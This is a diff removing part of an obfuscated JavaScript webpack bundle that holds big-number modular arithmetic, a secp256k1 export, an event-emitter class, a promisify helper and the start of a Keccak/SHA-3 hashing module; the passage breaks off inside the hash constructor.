- _0x53d795(_0x134e5f.gtn(1), "modulus must be greater than 1");
- this.m = _0x134e5f;
- this.prime = null;
- }
- }
- function _0x31668a(_0x28e8a1) {
- _0x2fd6b8.call(this, _0x28e8a1);
- this.shift = this.m.bitLength();
- this.shift % 26 != 0 && (this.shift += 26 - this.shift % 26);
- this.r = new _0x2779a6(1).iushln(this.shift);
- this.r2 = this.imod(this.r.sqr());
- this.rinv = this.r._invmp(this.m);
- this.minv = this.rinv.mul(this.r).isubn(1).div(this.m);
- this.minv = this.minv.umod(this.r);
- this.minv = this.r.sub(this.minv);
- }
- _0x12a4b9.prototype._tmp = function () {
- var _0x173ef9 = new _0x2779a6(null);
- _0x173ef9.words = new Array(Math.ceil(this.n / 13));
- return _0x173ef9;
- };
- _0x12a4b9.prototype.ireduce = function (_0x5e42ec) {
- var _0x1cd5b3;
- var _0xe356bd = _0x5e42ec;
- do {
- this.split(_0xe356bd, this.tmp);
- _0x1cd5b3 = (_0xe356bd = (_0xe356bd = this.imulK(_0xe356bd)).iadd(this.tmp)).bitLength();
- } while (_0x1cd5b3 > this.n);
- var _0x78379f = _0x1cd5b3 < this.n ? -1 : _0xe356bd.ucmp(this.p);
- 0 === _0x78379f ? (_0xe356bd.words[0] = 0, _0xe356bd.length = 1) : _0x78379f > 0 ? _0xe356bd.isub(this.p) : undefined !== _0xe356bd.strip ? _0xe356bd.strip() : _0xe356bd._strip();
- return _0xe356bd;
- };
- _0x12a4b9.prototype.split = function (_0x5422c8, _0x1930b8) {
- _0x5422c8.iushrn(this.n, 0, _0x1930b8);
- };
- _0x12a4b9.prototype.imulK = function (_0x46ef01) {
- return _0x46ef01.imul(this.k);
- };
- _0x583dc1(_0x52de00, _0x12a4b9);
- _0x52de00.prototype.split = function (_0x2cdd3b, _0x456120) {
- for (var _0x56703b = 4194303, _0x1a2902 = Math.min(_0x2cdd3b.length, 9), _0x27e52d = 0; _0x27e52d < _0x1a2902; _0x27e52d++) {
- _0x456120.words[_0x27e52d] = _0x2cdd3b.words[_0x27e52d];
- }
- if (_0x456120.length = _0x1a2902, _0x2cdd3b.length <= 9) {
- _0x2cdd3b.words[0] = 0;
- return void (_0x2cdd3b.length = 1);
- }
- var _0x55d8f0 = _0x2cdd3b.words[9];
- for (_0x456120.words[_0x456120.length++] = _0x55d8f0 & _0x56703b, _0x27e52d = 10; _0x27e52d < _0x2cdd3b.length; _0x27e52d++) {
- var _0xe39d16 = 0 | _0x2cdd3b.words[_0x27e52d];
- _0x2cdd3b.words[_0x27e52d - 10] = (_0xe39d16 & _0x56703b) << 4 | _0x55d8f0 >>> 22;
- _0x55d8f0 = _0xe39d16;
- }
- _0x55d8f0 >>>= 22;
- _0x2cdd3b.words[_0x27e52d - 10] = _0x55d8f0;
- 0 === _0x55d8f0 && _0x2cdd3b.length > 10 ? _0x2cdd3b.length -= 10 : _0x2cdd3b.length -= 9;
- };
- _0x52de00.prototype.imulK = function (_0x2a5518) {
- _0x2a5518.words[_0x2a5518.length] = 0;
- _0x2a5518.words[_0x2a5518.length + 1] = 0;
- _0x2a5518.length += 2;
- for (var _0x522fe7 = 0, _0x2a82ad = 0; _0x2a82ad < _0x2a5518.length; _0x2a82ad++) {
- var _0x5a58b4 = 0 | _0x2a5518.words[_0x2a82ad];
- _0x522fe7 += 977 * _0x5a58b4;
- _0x2a5518.words[_0x2a82ad] = 67108863 & _0x522fe7;
- _0x522fe7 = 64 * _0x5a58b4 + (_0x522fe7 / 67108864 | 0);
- }
- 0 === _0x2a5518.words[_0x2a5518.length - 1] && (_0x2a5518.length--, 0 === _0x2a5518.words[_0x2a5518.length - 1] && _0x2a5518.length--);
- return _0x2a5518;
- };
- _0x583dc1(_0x4ffd07, _0x12a4b9);
- _0x583dc1(_0x505168, _0x12a4b9);
- _0x583dc1(_0x110504, _0x12a4b9);
- _0x110504.prototype.imulK = function (_0x5c1f53) {
- for (var _0x42a21d = 0, _0x49d3ea = 0; _0x49d3ea < _0x5c1f53.length; _0x49d3ea++) {
- var _0x2ced5f = 19 * (0 | _0x5c1f53.words[_0x49d3ea]) + _0x42a21d;
- var _0x23ec52 = 67108863 & _0x2ced5f;
- _0x2ced5f >>>= 26;
- _0x5c1f53.words[_0x49d3ea] = _0x23ec52;
- _0x42a21d = _0x2ced5f;
- }
- 0 !== _0x42a21d && (_0x5c1f53.words[_0x5c1f53.length++] = _0x42a21d);
- return _0x5c1f53;
- };
- _0x2779a6._prime = function (_0x495e81) {
- if (_0x1875b5[_0x495e81]) {
- return _0x1875b5[_0x495e81];
- }
- var _0x125e04;
- if ("k256" === _0x495e81) {
- _0x125e04 = new _0x52de00();
- } else {
- if ("p224" === _0x495e81) {
- _0x125e04 = new _0x4ffd07();
- } else {
- if ("p192" === _0x495e81) {
- _0x125e04 = new _0x505168();
- } else {
- if ("p25519" !== _0x495e81) {
- throw new Error("Unknown prime " + _0x495e81);
- }
- _0x125e04 = new _0x110504();
- }
- }
- }
- _0x1875b5[_0x495e81] = _0x125e04;
- return _0x125e04;
- };
- _0x2fd6b8.prototype._verify1 = function (_0x5b5637) {
- _0x53d795(0 === _0x5b5637.negative, "red works only with positives");
- _0x53d795(_0x5b5637.red, "red works only with red numbers");
- };
- _0x2fd6b8.prototype._verify2 = function (_0x5dc715, _0x41b777) {
- _0x53d795(0 == (_0x5dc715.negative | _0x41b777.negative), "red works only with positives");
- _0x53d795(_0x5dc715.red && _0x5dc715.red === _0x41b777.red, "red works only with red numbers");
- };
- _0x2fd6b8.prototype.imod = function (_0x2a4cab) {
- return this.prime ? this.prime.ireduce(_0x2a4cab)._forceRed(this) : (_0x1d66b1(_0x2a4cab, _0x2a4cab.umod(this.m)._forceRed(this)), _0x2a4cab);
- };
- _0x2fd6b8.prototype.neg = function (_0x2c60f7) {
- return _0x2c60f7.isZero() ? _0x2c60f7.clone() : this.m.sub(_0x2c60f7)._forceRed(this);
- };
- _0x2fd6b8.prototype.add = function (_0x5c64d1, _0x2231e9) {
- this._verify2(_0x5c64d1, _0x2231e9);
- var _0x23f697 = _0x5c64d1.add(_0x2231e9);
- _0x23f697.cmp(this.m) >= 0 && _0x23f697.isub(this.m);
- return _0x23f697._forceRed(this);
- };
- _0x2fd6b8.prototype.iadd = function (_0x86bfb, _0x237807) {
- this._verify2(_0x86bfb, _0x237807);
- var _0x2159c1 = _0x86bfb.iadd(_0x237807);
- _0x2159c1.cmp(this.m) >= 0 && _0x2159c1.isub(this.m);
- return _0x2159c1;
- };
- _0x2fd6b8.prototype.sub = function (_0x273dad, _0x1bb02f) {
- this._verify2(_0x273dad, _0x1bb02f);
- var _0x4fd76c = _0x273dad.sub(_0x1bb02f);
- _0x4fd76c.cmpn(0) < 0 && _0x4fd76c.iadd(this.m);
- return _0x4fd76c._forceRed(this);
- };
- _0x2fd6b8.prototype.isub = function (_0x34034b, _0x34b300) {
- this._verify2(_0x34034b, _0x34b300);
- var _0x589c93 = _0x34034b.isub(_0x34b300);
- _0x589c93.cmpn(0) < 0 && _0x589c93.iadd(this.m);
- return _0x589c93;
- };
- _0x2fd6b8.prototype.shl = function (_0x10038c, _0x171a94) {
- this._verify1(_0x10038c);
- return this.imod(_0x10038c.ushln(_0x171a94));
- };
- _0x2fd6b8.prototype.imul = function (_0x4c1fc2, _0x5aa2a0) {
- this._verify2(_0x4c1fc2, _0x5aa2a0);
- return this.imod(_0x4c1fc2.imul(_0x5aa2a0));
- };
- _0x2fd6b8.prototype.mul = function (_0xdadc8b, _0x5c514e) {
- this._verify2(_0xdadc8b, _0x5c514e);
- return this.imod(_0xdadc8b.mul(_0x5c514e));
- };
- _0x2fd6b8.prototype.isqr = function (_0xea945c) {
- return this.imul(_0xea945c, _0xea945c.clone());
- };
- _0x2fd6b8.prototype.sqr = function (_0x12c37d) {
- return this.mul(_0x12c37d, _0x12c37d);
- };
- _0x2fd6b8.prototype.sqrt = function (_0x4b025a) {
- if (_0x4b025a.isZero()) {
- return _0x4b025a.clone();
- }
- var _0x3a89b7 = this.m.andln(3);
- if (_0x53d795(_0x3a89b7 % 2 == 1), 3 === _0x3a89b7) {
- var _0x59b77f = this.m.add(new _0x2779a6(1)).iushrn(2);
- return this.pow(_0x4b025a, _0x59b77f);
- }
- for (var _0x6e13ea = this.m.subn(1), _0x289f5a = 0; !_0x6e13ea.isZero() && 0 === _0x6e13ea.andln(1);) {
- _0x289f5a++;
- _0x6e13ea.iushrn(1);
- }
- _0x53d795(!_0x6e13ea.isZero());
- var _0x197a46 = new _0x2779a6(1).toRed(this);
- var _0x363e22 = _0x197a46.redNeg();
- var _0x22aabd = this.m.subn(1).iushrn(1);
- var _0x41ff32 = this.m.bitLength();
- for (_0x41ff32 = new _0x2779a6(2 * _0x41ff32 * _0x41ff32).toRed(this); 0 !== this.pow(_0x41ff32, _0x22aabd).cmp(_0x363e22);) {
- _0x41ff32.redIAdd(_0x363e22);
- }
- for (var _0x42ef0f = this.pow(_0x41ff32, _0x6e13ea), _0x1432d7 = this.pow(_0x4b025a, _0x6e13ea.addn(1).iushrn(1)), _0x44494d = this.pow(_0x4b025a, _0x6e13ea), _0xb529db = _0x289f5a; 0 !== _0x44494d.cmp(_0x197a46);) {
- for (var _0x57a3ea = _0x44494d, _0x1cfd89 = 0; 0 !== _0x57a3ea.cmp(_0x197a46); _0x1cfd89++) {
- _0x57a3ea = _0x57a3ea.redSqr();
- }
- _0x53d795(_0x1cfd89 < _0xb529db);
- var _0x80d160 = this.pow(_0x42ef0f, new _0x2779a6(1).iushln(_0xb529db - _0x1cfd89 - 1));
- _0x1432d7 = _0x1432d7.redMul(_0x80d160);
- _0x42ef0f = _0x80d160.redSqr();
- _0x44494d = _0x44494d.redMul(_0x42ef0f);
- _0xb529db = _0x1cfd89;
- }
- return _0x1432d7;
- };
- _0x2fd6b8.prototype.invm = function (_0xac9003) {
- var _0x2a52de = _0xac9003._invmp(this.m);
- return 0 !== _0x2a52de.negative ? (_0x2a52de.negative = 0, this.imod(_0x2a52de).redNeg()) : this.imod(_0x2a52de);
- };
- _0x2fd6b8.prototype.pow = function (_0x30f869, _0x2cedab) {
- if (_0x2cedab.isZero()) {
- return new _0x2779a6(1).toRed(this);
- }
- if (0 === _0x2cedab.cmpn(1)) {
- return _0x30f869.clone();
- }
- var _0x317520 = new Array(16);
- _0x317520[0] = new _0x2779a6(1).toRed(this);
- _0x317520[1] = _0x30f869;
- for (var _0x182c3a = 2; _0x182c3a < _0x317520.length; _0x182c3a++) {
- _0x317520[_0x182c3a] = this.mul(_0x317520[_0x182c3a - 1], _0x30f869);
- }
- var _0xe8dc7a = _0x317520[0];
- var _0x5d8546 = 0;
- var _0x50ea19 = 0;
- var _0x40c652 = _0x2cedab.bitLength() % 26;
- for (0 === _0x40c652 && (_0x40c652 = 26), _0x182c3a = _0x2cedab.length - 1; _0x182c3a >= 0; _0x182c3a--) {
- for (var _0x1ee642 = _0x2cedab.words[_0x182c3a], _0x419592 = _0x40c652 - 1; _0x419592 >= 0; _0x419592--) {
- var _0x36e39b = _0x1ee642 >> _0x419592 & 1;
- _0xe8dc7a !== _0x317520[0] && (_0xe8dc7a = this.sqr(_0xe8dc7a));
- 0 !== _0x36e39b || 0 !== _0x5d8546 ? (_0x5d8546 <<= 1, _0x5d8546 |= _0x36e39b, (4 == ++_0x50ea19 || 0 === _0x182c3a && 0 === _0x419592) && (_0xe8dc7a = this.mul(_0xe8dc7a, _0x317520[_0x5d8546]), _0x50ea19 = 0, _0x5d8546 = 0)) : _0x50ea19 = 0;
- }
- _0x40c652 = 26;
- }
- return _0xe8dc7a;
- };
- _0x2fd6b8.prototype.convertTo = function (_0x6ba6f5) {
- var _0x2018d9 = _0x6ba6f5.umod(this.m);
- return _0x2018d9 === _0x6ba6f5 ? _0x2018d9.clone() : _0x2018d9;
- };
- _0x2fd6b8.prototype.convertFrom = function (_0x30d956) {
- var _0x446053 = _0x30d956.clone();
- _0x446053.red = null;
- return _0x446053;
- };
- _0x2779a6.mont = function (_0x245973) {
- return new _0x31668a(_0x245973);
- };
- _0x583dc1(_0x31668a, _0x2fd6b8);
- _0x31668a.prototype.convertTo = function (_0x5abcb1) {
- return this.imod(_0x5abcb1.ushln(this.shift));
- };
- _0x31668a.prototype.convertFrom = function (_0x353400) {
- var _0x1f97ce = this.imod(_0x353400.mul(this.rinv));
- _0x1f97ce.red = null;
- return _0x1f97ce;
- };
- _0x31668a.prototype.imul = function (_0x3395e5, _0x1a15cf) {
- if (_0x3395e5.isZero() || _0x1a15cf.isZero()) {
- _0x3395e5.words[0] = 0;
- _0x3395e5.length = 1;
- return _0x3395e5;
- }
- var _0x38a421 = _0x3395e5.imul(_0x1a15cf);
- var _0x1b1f27 = _0x38a421.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);
- var _0x3fb7c4 = _0x38a421.isub(_0x1b1f27).iushrn(this.shift);
- var _0x23ca39 = _0x3fb7c4;
- _0x3fb7c4.cmp(this.m) >= 0 ? _0x23ca39 = _0x3fb7c4.isub(this.m) : _0x3fb7c4.cmpn(0) < 0 && (_0x23ca39 = _0x3fb7c4.iadd(this.m));
- return _0x23ca39._forceRed(this);
- };
- _0x31668a.prototype.mul = function (_0x2722e8, _0x1994d5) {
- if (_0x2722e8.isZero() || _0x1994d5.isZero()) {
- return new _0x2779a6(0)._forceRed(this);
- }
- var _0x50b15f = _0x2722e8.mul(_0x1994d5);
- var _0x55a450 = _0x50b15f.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);
- var _0x47252a = _0x50b15f.isub(_0x55a450).iushrn(this.shift);
- var _0xb575a = _0x47252a;
- _0x47252a.cmp(this.m) >= 0 ? _0xb575a = _0x47252a.isub(this.m) : _0x47252a.cmpn(0) < 0 && (_0xb575a = _0x47252a.iadd(this.m));
- return _0xb575a._forceRed(this);
- };
- _0x31668a.prototype.invm = function (_0x2d0b71) {
- return this.imod(_0x2d0b71._invmp(this.m).mul(this.r2))._forceRed(this);
- };
- }(_0x28bf94 = _0x34df01.nmd(_0x28bf94), this);
- },
- 5053: (_0x51bdb2, _0x28ca03, _0x434a3a) => {
- "use strict";
-
- _0x28ca03.k = undefined;
- var _0x3a9eb3 = _0x434a3a(3497);
- Object.defineProperty(_0x28ca03, "k", {
- enumerable: true,
- get: function () {
- return _0x3a9eb3.secp256k1;
- }
- });
- },
- 6729: _0x158e97 => {
- "use strict";
-
- var _0x46a7fa = Object.prototype.hasOwnProperty;
- var _0x3ea471 = "~";
- function _0x167e2c() {}
- function _0x2b535f(_0xdb174b, _0x5ccc47, _0x1166a1) {
- this.fn = _0xdb174b;
- this.context = _0x5ccc47;
- this.once = _0x1166a1 || false;
- }
- function _0x467586(_0x4279b5, _0x20f7e9, _0x5da727, _0x394ac5, _0x5046d4) {
- if ("function" != typeof _0x5da727) {
- throw new TypeError("The listener must be a function");
- }
- var _0x724d20 = new _0x2b535f(_0x5da727, _0x394ac5 || _0x4279b5, _0x5046d4);
- var _0x5f3535 = _0x3ea471 ? _0x3ea471 + _0x20f7e9 : _0x20f7e9;
- _0x4279b5._events[_0x5f3535] ? _0x4279b5._events[_0x5f3535].fn ? _0x4279b5._events[_0x5f3535] = [_0x4279b5._events[_0x5f3535], _0x724d20] : _0x4279b5._events[_0x5f3535].push(_0x724d20) : (_0x4279b5._events[_0x5f3535] = _0x724d20, _0x4279b5._eventsCount++);
- return _0x4279b5;
- }
- function _0x24f6bb(_0x5ed51e, _0x2eab1f) {
- 0 == --_0x5ed51e._eventsCount ? _0x5ed51e._events = new _0x167e2c() : delete _0x5ed51e._events[_0x2eab1f];
- }
- function _0x33577c() {
- this._events = new _0x167e2c();
- this._eventsCount = 0;
- }
- Object.create && (_0x167e2c.prototype = Object.create(null), new _0x167e2c().__proto__ || (_0x3ea471 = false));
- _0x33577c.prototype.eventNames = function () {
- var _0x122173;
- var _0x10a5c4;
- var _0x8a09dd = [];
- if (0 === this._eventsCount) {
- return _0x8a09dd;
- }
- for (_0x10a5c4 in _0x122173 = this._events) _0x46a7fa.call(_0x122173, _0x10a5c4) && _0x8a09dd.push(_0x3ea471 ? _0x10a5c4.slice(1) : _0x10a5c4);
- return Object.getOwnPropertySymbols ? _0x8a09dd.concat(Object.getOwnPropertySymbols(_0x122173)) : _0x8a09dd;
- };
- _0x33577c.prototype.listeners = function (_0x24d37c) {
- var _0x52e39c = _0x3ea471 ? _0x3ea471 + _0x24d37c : _0x24d37c;
- var _0x268ca9 = this._events[_0x52e39c];
- if (!_0x268ca9) {
- return [];
- }
- if (_0x268ca9.fn) {
- return [_0x268ca9.fn];
- }
- for (var _0xa1413 = 0, _0x16d499 = _0x268ca9.length, _0x115914 = new Array(_0x16d499); _0xa1413 < _0x16d499; _0xa1413++) {
- _0x115914[_0xa1413] = _0x268ca9[_0xa1413].fn;
- }
- return _0x115914;
- };
- _0x33577c.prototype.listenerCount = function (_0x2301cf) {
- var _0x2405d1 = _0x3ea471 ? _0x3ea471 + _0x2301cf : _0x2301cf;
- var _0x3c1cdc = this._events[_0x2405d1];
- return _0x3c1cdc ? _0x3c1cdc.fn ? 1 : _0x3c1cdc.length : 0;
- };
- _0x33577c.prototype.emit = function (_0x182222, _0x2fbe90, _0xe4b144, _0x35985a, _0x4a36d0, _0x6369e6) {
- var _0x1755a2 = _0x3ea471 ? _0x3ea471 + _0x182222 : _0x182222;
- if (!this._events[_0x1755a2]) {
- return false;
- }
- var _0x1767fa;
- var _0x218199;
- var _0x5afdf0 = this._events[_0x1755a2];
- var _0x1859c1 = arguments.length;
- if (_0x5afdf0.fn) {
- switch (_0x5afdf0.once && this.removeListener(_0x182222, _0x5afdf0.fn, undefined, true), _0x1859c1) {
- case 1:
- _0x5afdf0.fn.call(_0x5afdf0.context);
- return true;
- case 2:
- _0x5afdf0.fn.call(_0x5afdf0.context, _0x2fbe90);
- return true;
- case 3:
- _0x5afdf0.fn.call(_0x5afdf0.context, _0x2fbe90, _0xe4b144);
- return true;
- case 4:
- _0x5afdf0.fn.call(_0x5afdf0.context, _0x2fbe90, _0xe4b144, _0x35985a);
- return true;
- case 5:
- _0x5afdf0.fn.call(_0x5afdf0.context, _0x2fbe90, _0xe4b144, _0x35985a, _0x4a36d0);
- return true;
- case 6:
- _0x5afdf0.fn.call(_0x5afdf0.context, _0x2fbe90, _0xe4b144, _0x35985a, _0x4a36d0, _0x6369e6);
- return true;
- }
- for (_0x218199 = 1, _0x1767fa = new Array(_0x1859c1 - 1); _0x218199 < _0x1859c1; _0x218199++) {
- _0x1767fa[_0x218199 - 1] = arguments[_0x218199];
- }
- _0x5afdf0.fn.apply(_0x5afdf0.context, _0x1767fa);
- } else {
- var _0x457725;
- var _0x292796 = _0x5afdf0.length;
- for (_0x218199 = 0; _0x218199 < _0x292796; _0x218199++) {
- switch (_0x5afdf0[_0x218199].once && this.removeListener(_0x182222, _0x5afdf0[_0x218199].fn, undefined, true), _0x1859c1) {
- case 1:
- _0x5afdf0[_0x218199].fn.call(_0x5afdf0[_0x218199].context);
- break;
- case 2:
- _0x5afdf0[_0x218199].fn.call(_0x5afdf0[_0x218199].context, _0x2fbe90);
- break;
- case 3:
- _0x5afdf0[_0x218199].fn.call(_0x5afdf0[_0x218199].context, _0x2fbe90, _0xe4b144);
- break;
- case 4:
- _0x5afdf0[_0x218199].fn.call(_0x5afdf0[_0x218199].context, _0x2fbe90, _0xe4b144, _0x35985a);
- break;
- default:
- if (!_0x1767fa) {
- for (_0x457725 = 1, _0x1767fa = new Array(_0x1859c1 - 1); _0x457725 < _0x1859c1; _0x457725++) {
- _0x1767fa[_0x457725 - 1] = arguments[_0x457725];
- }
- }
- _0x5afdf0[_0x218199].fn.apply(_0x5afdf0[_0x218199].context, _0x1767fa);
- }
- }
- }
- return true;
- };
- _0x33577c.prototype.on = function (_0x570885, _0x723168, _0x58bae4) {
- return _0x467586(this, _0x570885, _0x723168, _0x58bae4, false);
- };
- _0x33577c.prototype.once = function (_0x30ca0e, _0x595dae, _0x1c68bc) {
- return _0x467586(this, _0x30ca0e, _0x595dae, _0x1c68bc, true);
- };
- _0x33577c.prototype.removeListener = function (_0x534329, _0x4e0df0, _0x2087ea, _0x2fa555) {
- var _0x110c0c = _0x3ea471 ? _0x3ea471 + _0x534329 : _0x534329;
- if (!this._events[_0x110c0c]) {
- return this;
- }
- if (!_0x4e0df0) {
- _0x24f6bb(this, _0x110c0c);
- return this;
- }
- var _0x5c94e1 = this._events[_0x110c0c];
- if (_0x5c94e1.fn) {
- _0x5c94e1.fn !== _0x4e0df0 || _0x2fa555 && !_0x5c94e1.once || _0x2087ea && _0x5c94e1.context !== _0x2087ea || _0x24f6bb(this, _0x110c0c);
- } else {
- for (var _0x2d9464 = 0, _0x1d212b = [], _0x33787a = _0x5c94e1.length; _0x2d9464 < _0x33787a; _0x2d9464++) {
- (_0x5c94e1[_0x2d9464].fn !== _0x4e0df0 || _0x2fa555 && !_0x5c94e1[_0x2d9464].once || _0x2087ea && _0x5c94e1[_0x2d9464].context !== _0x2087ea) && _0x1d212b.push(_0x5c94e1[_0x2d9464]);
- }
- _0x1d212b.length ? this._events[_0x110c0c] = 1 === _0x1d212b.length ? _0x1d212b[0] : _0x1d212b : _0x24f6bb(this, _0x110c0c);
- }
- return this;
- };
- _0x33577c.prototype.removeAllListeners = function (_0x4ef166) {
- var _0xd1f477;
- _0x4ef166 ? (_0xd1f477 = _0x3ea471 ? _0x3ea471 + _0x4ef166 : _0x4ef166, this._events[_0xd1f477] && _0x24f6bb(this, _0xd1f477)) : (this._events = new _0x167e2c(), this._eventsCount = 0);
- return this;
- };
- _0x33577c.prototype.off = _0x33577c.prototype.removeListener;
- _0x33577c.prototype.addListener = _0x33577c.prototype.on;
- _0x33577c.prefixed = _0x3ea471;
- _0x33577c.EventEmitter = _0x33577c;
- _0x158e97.exports = _0x33577c;
- },
- 7832: _0xcdb71 => {
- _0xcdb71.exports = function (_0x24dc98) {
- return (_0x45304a, ..._0x171638) => function (_0x211359, ..._0xd24ee9) {
- return new Promise((_0x466f6c, _0x5aa9fe) => {
- _0x211359(..._0xd24ee9, (_0x5f021a, _0x2bf630) => {
- _0x5f021a ? _0x5aa9fe(_0x5f021a) : _0x466f6c(_0x2bf630);
- });
- });
- }(_0x45304a.bind(_0x24dc98), ..._0x171638);
- };
- },
- 1094: (_0x5287c8, _0x19833e, _0x1a6852) => {
- var _0x336776;
- !function () {
- "use strict";
-
- var _0x4465ce = "input is invalid type";
- var _0x3c9c32 = "object" == typeof window;
- var _0x595f29 = _0x3c9c32 ? window : {};
- _0x595f29.JS_SHA3_NO_WINDOW && (_0x3c9c32 = false);
- var _0x4cfd3f = !_0x3c9c32 && "object" == typeof self;
- !_0x595f29.JS_SHA3_NO_NODE_JS && "object" == typeof process && process.versions && process.versions.node ? _0x595f29 = _0x1a6852.g : _0x4cfd3f && (_0x595f29 = self);
- var _0x5ce40f = !_0x595f29.JS_SHA3_NO_COMMON_JS && _0x5287c8.exports;
- var _0xa9d235 = _0x1a6852.amdO;
- var _0x5e60fc = !_0x595f29.JS_SHA3_NO_ARRAY_BUFFER && "undefined" != typeof ArrayBuffer;
- var _0x1773d4 = "0123456789abcdef".split("");
- var _0x418cca = [4, 1024, 262144, 67108864];
- var _0x1b341c = [0, 8, 16, 24];
- var _0x1820e8 = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649, 0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0, 2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771, 2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648, 2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648];
- var _0x180622 = [224, 256, 384, 512];
- var _0x74ad91 = [128, 256];
- var _0x4df865 = ["hex", "buffer", "arrayBuffer", "array", "digest"];
- var _0x34ea39 = {
- 128: 168,
- 256: 136
- };
- !_0x595f29.JS_SHA3_NO_NODE_JS && Array.isArray || (Array.isArray = function (_0x282b67) {
- return "[object Array]" === Object.prototype.toString.call(_0x282b67);
- });
- !_0x5e60fc || !_0x595f29.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW && ArrayBuffer.isView || (ArrayBuffer.isView = function (_0x4037b0) {
- return "object" == typeof _0x4037b0 && _0x4037b0.buffer && _0x4037b0.buffer.constructor === ArrayBuffer;
- });
- for (var _0x479818 = function (_0x3b45db, _0x205d41, _0x12e56c) {
- return function (_0x1717bb) {
- return new _0x4ba861(_0x3b45db, _0x205d41, _0x3b45db).update(_0x1717bb)[_0x12e56c]();
- };
- }, _0x47b5c9 = function (_0x3fc457, _0x5a96ba, _0x314c74) {
- return function (_0x5cd1a6, _0x5d5ba5) {
- return new _0x4ba861(_0x3fc457, _0x5a96ba, _0x5d5ba5).update(_0x5cd1a6)[_0x314c74]();
- };
- }, _0x2645d0 = function (_0x5068ce, _0x40c24d, _0x9d23fb) {
- return function (_0x53a85d, _0x50a515, _0x5c3cca, _0x303e88) {
- return _0x579c39["cshake" + _0x5068ce].update(_0x53a85d, _0x50a515, _0x5c3cca, _0x303e88)[_0x9d23fb]();
- };
- }, _0x2751fb = function (_0x1a651c, _0x381aa6, _0x3f5622) {
- return function (_0x277c32, _0x1cf4cf, _0x2daddb, _0x55b582) {
- return _0x579c39["kmac" + _0x1a651c].update(_0x277c32, _0x1cf4cf, _0x2daddb, _0x55b582)[_0x3f5622]();
- };
- }, _0x26d859 = function (_0x2e84d3, _0x505028, _0x425301, _0x93a1bd) {
- for (var _0x47ad24 = 0; _0x47ad24 < _0x4df865.length; ++_0x47ad24) {
- var _0x4c503a = _0x4df865[_0x47ad24];
- _0x2e84d3[_0x4c503a] = _0x505028(_0x425301, _0x93a1bd, _0x4c503a);
- }
- return _0x2e84d3;
- }, _0x216674 = function (_0x58dbc5, _0x2c21f0) {
- var _0x28f843 = _0x479818(_0x58dbc5, _0x2c21f0, "hex");
- _0x28f843.create = function () {
- return new _0x4ba861(_0x58dbc5, _0x2c21f0, _0x58dbc5);
- };
- _0x28f843.update = function (_0x38e46f) {
- return _0x28f843.create().update(_0x38e46f);
- };
- return _0x26d859(_0x28f843, _0x479818, _0x58dbc5, _0x2c21f0);
- }, _0x438c42 = [{
- name: "keccak",
- padding: [1, 256, 65536, 16777216],
- bits: _0x180622,
- createMethod: _0x216674
- }, {
- name: "sha3",
- padding: [6, 1536, 393216, 100663296],
- bits: _0x180622,
- createMethod: _0x216674
- }, {
- name: "shake",
- padding: [31, 7936, 2031616, 520093696],
- bits: _0x74ad91,
- createMethod: function (_0x4e73c1, _0x1a1290) {
- var _0x5137b8 = _0x47b5c9(_0x4e73c1, _0x1a1290, "hex");
- _0x5137b8.create = function (_0x4cac5e) {
- return new _0x4ba861(_0x4e73c1, _0x1a1290, _0x4cac5e);
- };
- _0x5137b8.update = function (_0x3f55a2, _0x5df818) {
- return _0x5137b8.create(_0x5df818).update(_0x3f55a2);
- };
- return _0x26d859(_0x5137b8, _0x47b5c9, _0x4e73c1, _0x1a1290);
- }
- }, {
- name: "cshake",
- padding: _0x418cca,
- bits: _0x74ad91,
- createMethod: function (_0x26ac36, _0x32a323) {
- var _0x1f2a9d = _0x34ea39[_0x26ac36];
- var _0x4aae2e = _0x2645d0(_0x26ac36, 0, "hex");
- _0x4aae2e.create = function (_0x31998f, _0x2e7e27, _0x5190c0) {
- return _0x2e7e27 || _0x5190c0 ? new _0x4ba861(_0x26ac36, _0x32a323, _0x31998f).bytepad([_0x2e7e27, _0x5190c0], _0x1f2a9d) : _0x579c39["shake" + _0x26ac36].create(_0x31998f);
- };
- _0x4aae2e.update = function (_0x481a9d, _0x3fb852, _0x5c164c, _0x252bbf) {
- return _0x4aae2e.create(_0x3fb852, _0x5c164c, _0x252bbf).update(_0x481a9d);
- };
- return _0x26d859(_0x4aae2e, _0x2645d0, _0x26ac36, _0x32a323);
- }
- }, {
- name: "kmac",
- padding: _0x418cca,
- bits: _0x74ad91,
- createMethod: function (_0x203361, _0x3e0623) {
- var _0x50f8e3 = _0x34ea39[_0x203361];
- var _0x4c4fdc = _0x2751fb(_0x203361, 0, "hex");
- _0x4c4fdc.create = function (_0x1d7e78, _0x23ebc1, _0x57fe3a) {
- return new _0x9c0ddc(_0x203361, _0x3e0623, _0x23ebc1).bytepad(["KMAC", _0x57fe3a], _0x50f8e3).bytepad([_0x1d7e78], _0x50f8e3);
- };
- _0x4c4fdc.update = function (_0x6d913d, _0x4d916e, _0x371ebc, _0x1711b1) {
- return _0x4c4fdc.create(_0x6d913d, _0x371ebc, _0x1711b1).update(_0x4d916e);
- };
- return _0x26d859(_0x4c4fdc, _0x2751fb, _0x203361, _0x3e0623);
- }
- }], _0x579c39 = {}, _0x3ab1fa = [], _0x2395d1 = 0; _0x2395d1 < _0x438c42.length; ++_0x2395d1) {
- for (var _0x5b3583 = _0x438c42[_0x2395d1], _0xef93ea = _0x5b3583.bits, _0x4a8c11 = 0; _0x4a8c11 < _0xef93ea.length; ++_0x4a8c11) {
- var _0x16640d = _0x5b3583.name + "_" + _0xef93ea[_0x4a8c11];
- if (_0x3ab1fa.push(_0x16640d), _0x579c39[_0x16640d] = _0x5b3583.createMethod(_0xef93ea[_0x4a8c11], _0x5b3583.padding), "sha3" !== _0x5b3583.name) {
- var _0xdbd867 = _0x5b3583.name + _0xef93ea[_0x4a8c11];
- _0x3ab1fa.push(_0xdbd867);
- _0x579c39[_0xdbd867] = _0x579c39[_0x16640d];
- }
- }
- }
- function _0x4ba861(_0x23b832, _0x304912, _0x4814c9) {
- this.blocks = [];
- this.s = [];
- this.padding = _0x304912;
- this.outputBits = _0x4814c9;
